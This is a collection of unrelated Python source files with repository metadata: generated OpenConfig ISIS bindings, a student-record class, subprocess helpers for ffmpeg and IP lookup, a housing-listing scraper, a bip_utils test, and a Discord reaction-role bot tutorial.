'[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) self.__ipv6_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['network-instances', 'network-instance', 'protocols', 'protocol', 'isis', 'levels', 'level', 'traffic-engineering', 'state'] def _get_enabled(self): """ Getter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/enabled (boolean) YANG Description: When set to true, the functionality within which this leaf is defined is enabled, when set to false it is explicitly disabled. """ return self.__enabled def _set_enabled(self, v, load=False): """ Setter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/enabled (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_enabled is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_enabled() directly. YANG Description: When set to true, the functionality within which this leaf is defined is enabled, when set to false it is explicitly disabled. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """enabled must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False)""", }) self.__enabled = t if hasattr(self, '_set'): self._set() def _unset_enabled(self): self.__enabled = YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) def _get_ipv4_router_id(self): """ Getter method for ipv4_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv4_router_id (inet:ipv4-address-no-zone) YANG Description: IPv4 MPLS Traffic Engineering Router-ID. """ return self.__ipv4_router_id def _set_ipv4_router_id(self, v, load=False): """ Setter method for ipv4_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv4_router_id (inet:ipv4-address-no-zone) If this variable is read-only (config: false) in the source YANG file, then _set_ipv4_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv4_router_id() directly. YANG Description: IPv4 MPLS Traffic Engineering Router-ID. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv4_router_id must be of a type compatible with inet:ipv4-address-no-zone""", 'defined-type': "inet:ipv4-address-no-zone", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False)""", }) self.__ipv4_router_id = t if hasattr(self, '_set'): self._set() def _unset_ipv4_router_id(self): self.__ipv4_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) def _get_ipv6_router_id(self): """ Getter method for ipv6_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv6_router_id (inet:ipv6-address-no-zone) YANG Description: IPv6 MPLS Traffic Engineering Router-ID. """ return self.__ipv6_router_id def _set_ipv6_router_id(self, v, load=False): """ Setter method for ipv6_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv6_router_id (inet:ipv6-address-no-zone) If this variable is read-only (config: false) in the source YANG file, then _set_ipv6_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv6_router_id() directly. YANG Description: IPv6 MPLS Traffic Engineering Router-ID. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv6_router_id must be of a type compatible with inet:ipv6-address-no-zone""", 'defined-type': "inet:ipv6-address-no-zone", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False)""", }) self.__ipv6_router_id = t if hasattr(self, '_set'): self._set() def _unset_ipv6_router_id(self): self.__ipv6_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) enabled = __builtin__.property(_get_enabled) ipv4_router_id = __builtin__.property(_get_ipv4_router_id) ipv6_router_id = __builtin__.property(_get_ipv6_router_id) _pyangbind_elements = OrderedDict([('enabled', enabled), ('ipv4_router_id', ipv4_router_id), ('ipv6_router_id', ipv6_router_id), ]) class state(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-network-instance-l2 - based on the path /network-instances/network-instance/protocols/protocol/isis/levels/level/traffic-engineering/state. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This container defines ISIS TE state information. """ __slots__ = ('_path_helper', '_extmethods', '__enabled','__ipv4_router_id','__ipv6_router_id',) _yang_name = 'state' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__enabled = YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) self.__ipv4_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) self.__ipv6_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['network-instances', 'network-instance', 'protocols', 'protocol', 'isis', 'levels', 'level', 'traffic-engineering', 'state'] def _get_enabled(self): """ Getter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/enabled (boolean) YANG Description: When set to true, the functionality within which this leaf is defined is enabled, when set to false it is explicitly disabled. """ return self.__enabled def _set_enabled(self, v, load=False): """ Setter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/enabled (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_enabled is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_enabled() directly. YANG Description: When set to true, the functionality within which this leaf is defined is enabled, when set to false it is explicitly disabled. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """enabled must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False)""", }) self.__enabled = t if hasattr(self, '_set'): self._set() def _unset_enabled(self): self.__enabled = YANGDynClass(base=YANGBool, default=YANGBool("false"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=False) def _get_ipv4_router_id(self): """ Getter method for ipv4_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv4_router_id (inet:ipv4-address-no-zone) YANG Description: IPv4 MPLS Traffic Engineering Router-ID. """ return self.__ipv4_router_id def _set_ipv4_router_id(self, v, load=False): """ Setter method for ipv4_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv4_router_id (inet:ipv4-address-no-zone) If this variable is read-only (config: false) in the source YANG file, then _set_ipv4_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv4_router_id() directly. YANG Description: IPv4 MPLS Traffic Engineering Router-ID. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv4_router_id must be of a type compatible with inet:ipv4-address-no-zone""", 'defined-type': "inet:ipv4-address-no-zone", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False)""", }) self.__ipv4_router_id = t if hasattr(self, '_set'): self._set() def _unset_ipv4_router_id(self): self.__ipv4_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9\\.]*'}), is_leaf=True, yang_name="ipv4-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv4-address-no-zone', is_config=False) def _get_ipv6_router_id(self): """ Getter method for ipv6_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv6_router_id (inet:ipv6-address-no-zone) YANG Description: IPv6 MPLS Traffic Engineering Router-ID. """ return self.__ipv6_router_id def _set_ipv6_router_id(self, v, load=False): """ Setter method for ipv6_router_id, mapped from YANG variable /network_instances/network_instance/protocols/protocol/isis/levels/level/traffic_engineering/state/ipv6_router_id (inet:ipv6-address-no-zone) If this variable is read-only (config: false) in the source YANG file, then _set_ipv6_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ipv6_router_id() directly. YANG Description: IPv6 MPLS Traffic Engineering Router-ID. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ipv6_router_id must be of a type compatible with inet:ipv6-address-no-zone""", 'defined-type': "inet:ipv6-address-no-zone", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False)""", }) self.__ipv6_router_id = t if hasattr(self, '_set'): self._set() def _unset_ipv6_router_id(self): self.__ipv6_router_id = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'}), restriction_dict={'pattern': '[0-9a-fA-F:\\.]*'}), is_leaf=True, yang_name="ipv6-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='inet:ipv6-address-no-zone', is_config=False) enabled = __builtin__.property(_get_enabled) ipv4_router_id = __builtin__.property(_get_ipv4_router_id) ipv6_router_id = __builtin__.property(_get_ipv6_router_id) _pyangbind_elements = OrderedDict([('enabled', enabled), ('ipv4_router_id', ipv4_router_id), ('ipv6_router_id', ipv6_router_id), ])

[ "zblevins@netflix.com" ]

zblevins@netflix.com

95ec8fd7a6bd143e8448f66896fba383bddf5373

e7d5db388df22905d3a00eaf970acbcf1c839bab

/python/.old3/student.py

8e4f20257fe54f0a6719c69fc0c6d7f0ee7fff92

[]

no_license

seanho00/twu

0c47afe4bfb47bb86c81f4871a8e5973dbc843a2

5e97bd08c8a281f77c16a1ae890d234972a4622e

refs/heads/master

2020-12-25T15:08:09.413702

2016-08-30T04:52:55

66,873,512

0

null

UTF-8

Python

false

1,188

py

"""Definitions for a student info record. Sean Ho for CMPT140 demo. """ class Date: def __init__(self, y=2000, m=1, d=1): """Setup a new date object, optionally with the given year/month/day. pre: y/m/d must be integers in the appropriate range. See also: datetime.date: http://docs.python.org/library/datetime.html""" self.year = y self.month = m self.day = d def __str__(self): """Return a human-readable string representation.""" return "%02d/%02d/%04d" % \ (self.day, self.month, self.year) class Student: def __init__(self, f='', l='', i=0, bd=None, g=4.0): """Setup a new Student, optionally with the given first/last name, ID#, and birthdate.""" self.first = f self.last = l self.ID = i self.GPA = g if bd != None: self.birthdate = bd else: self.birthdate = Date() def __str__(self): """Return a human-readable string representation.""" return "ID# %06d: %s %s (%s) GPA=%4.2f" % \ (self.ID, self.first, self.last, self.birthdate, self.GPA)

[ "github@seanho.com" ]

github@seanho.com

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decli/winterpy

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# vim:fileencoding=utf-8 ''' call external tools to do things. ''' import subprocess from functools import lru_cache @lru_cache(maxsize=20) def lookupip(ip, cmd='cip'): return subprocess.getoutput(subprocess.list2cmdline([cmd, ip])).replace('CZ88.NET', '').strip() or '-' def check_mediafile(file): '''intergrity check with ffmpeg also return ``False`` when reading the file fails From http://superuser.com/a/100290/40869 ''' p = subprocess.Popen( ['ffmpeg', '-v', 'error', '-i', file, '-f', 'null', '-'], stderr = subprocess.PIPE) _, e = p.communicate() return not bool(e.strip())

[ "lilydjwg@gmail.com" ]

lilydjwg@gmail.com

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/Nyspider/www.fang.com/get_hourse.py

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15807857476/bogdata-2

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#coding:utf-8 import requests from bs4 import BeautifulSoup import xlwt3 import threading headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Connection": "keep-alive", "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"} class Get_infor(threading.Thread): def __init__(self,url): super(Get_infor,self).__init__() self.url=url.replace('esf/','')+'xiangqing/' self.headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Connection": "keep-alive", "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"} def run(self): self.statue=1 try: try: print(self.url) html=requests.get(self.url,headers=self.headers,timeout=30).text.encode('ISO-8859-1').decode('gbk','ignore') except: html=requests.get(self.url,headers=self.headers,timeout=30).text soup=BeautifulSoup(html,'lxml').find('div',attrs={'class':'leftinfo'}) self.title=soup.find('span',attrs={'class':'floatl'}).get_text() pri_table=soup.find('dl',attrs={'class':'firstpic'}).find('dd',style='margin-top:10px;').find_all('span') self.price=pri_table[0].get_text() self.month_lilv=pri_table[1].get_text() self.lilv=pri_table[2].get_text() tables=soup.find('dl',attrs={'class':'lbox'}).find_all('dd') self.ground=' ' self.address=' ' self.area=' ' self.cell=' ' self.wuye=' ' self.date=' ' self.jiegou=' ' self.type=' ' self.mianji=' ' self.ground=' ' self.hushu=' ' self.green=' ' self.rongji=' ' self.wuye_price=' ' for item in tables: if item.find('strong').get_text()=='小区地址：': self.address=item.get('title') if item.find('strong').get_text()=='所属区域：': self.area=item.get_text().replace('所属区域：','') if item.find('strong').get_text()=='环线位置': self.cell=item.get_text().replace('环线位置:','') if item.find('strong').get_text()=='物业类别：': self.wuye=item.get_text().replace('物业类别：','') if item.find('strong').get_text()=='竣工时间：': self.date=item.get_text().replace('竣工时间：','') if item.find('strong').get_text()=='建筑结构：': self.jiegou=item.get_text().replace('建筑结构：','') if item.find('strong').get_text()=='建筑类别：': self.type=item.get_text().replace('建筑类别：','') if item.find('strong').get_text()=='建筑面积：': self.mianji=item.get_text().replace('建筑面积：','') if item.find('strong').get_text()=='占地面积：': self.ground=item.get_text().replace('占地面积：','') if item.find('strong').get_text()=='当期户数：': self.hushu=item.get_text().replace('当期户数：','') if item.find('strong').get_text()=='绿化率：': self.green=item.get_text().replace('绿化率：','') if item.find('strong').get_text()=='容积率：': self.rongji=item.get_text().replace('容积率：','') if item.find('strong').get_text()=='物业费：': self.wuye_price=item.get_text().replace('物业费：','') except: self.statue=0 def get_urls(url): html=requests.get(url,headers=headers).text table=BeautifulSoup(html,'lxml').find('div',attrs={'class':'houseList'}).find_all('div',id='Div1') urls=[] for item in table: urls.append(item.find('div',attrs={'class':'img rel floatl'}).find('a').get('href')) return urls class Main(): def __init__(self): self.f=open('data.txt','w') self.count=0 def run(self): for page in range(80): urls=get_urls('http://esf.sh.fang.com/housing/18__0_0_0_0_%s_0_0/'%(str(page+1))) for url in urls: work=Get_infor(url) work.run() if work.statue==0: continue infor=work.title+'|'+work.address+'|'+work.price+'|'+work.month_lilv+'|'+work.lilv+"|"+work.area+'|'+work.cell+'|'+work.wuye+'|'+work.date+'|'+work.jiegou+'|'+work.type+'|'+work.mianji+'|'+work.ground+'|'+work.hushu+'|'+work.green+"|"+work.rongji+'|'+work.wuye_price+'|'+work.url+'\n' self.f.write(infor) self.count+=1 print(self.count) if __name__=='__main__': work=Main() work.run()

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# Copyright (c) 2021 Emanuele Bellocchia # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # Imports from bip_utils import Bip44, Bip44Coins from tests.bip44_tests import Bip44Tests # Ed25519Blake2b tests class class Ed25519Blake2bTests(Bip44Tests): # Constructor def __init__(self, test_num: int, test_itr_num: int, test_cache_num: int) -> None: super().__init__(Bip44, Bip44Coins.NANO, test_num, test_itr_num, test_cache_num)

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/03_reaction_roles.py

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aleks969/Discord-Bot-Tutorials

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import discord """ client = discord.Client() @client.event async def on_ready(): print('Ready') client.run('') """ # https://discordpy.readthedocs.io/en/latest/intents.html # https://discord.com/developers/docs/topics/gateway#gateway-intents # https://discord.com/developers/docs/topics/gateway#list-of-intents class MyClient(discord.Client): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.target_message_id = 891404574114594836 async def on_ready(self): print('Ready') async def on_raw_reaction_add(self, payload): """ Give a role based on a reaction emoji """ if payload.message_id != self.target_message_id: return guild = client.get_guild(payload.guild_id) if payload.emoji.name == '🥔': role = discord.utils.get(guild.roles, name='Potato person') await payload.member.add_roles(role) elif payload.emoji.name == '💩': role = discord.utils.get(guild.roles, name='Chocolate lover') await payload.member.add_roles(role) elif payload.emoji.name == '🐵': role = discord.utils.get(guild.roles, name='Funky monkey') await payload.member.add_roles(role) async def on_raw_reaction_remove(self, payload): """ Remove a role based on a reaction emoji """ if payload.message_id != self.target_message_id: return guild = client.get_guild(payload.guild_id) member = guild.get_member(payload.user_id) if payload.emoji.name == '🥔': role = discord.utils.get(guild.roles, name='Potato person') await member.remove_roles(role) elif payload.emoji.name == '💩': role = discord.utils.get(guild.roles, name='Chocolate lover') await member.remove_roles(role) elif payload.emoji.name == '🐵': role = discord.utils.get(guild.roles, name='Funky monkey') await member.remove_roles(role) intents = discord.Intents.default() intents.members = True client = MyClient(intents=intents) client.run('')

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buckyroberts@gmail.com

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QIAOZHIBAO0104/My-Leetcode-Records

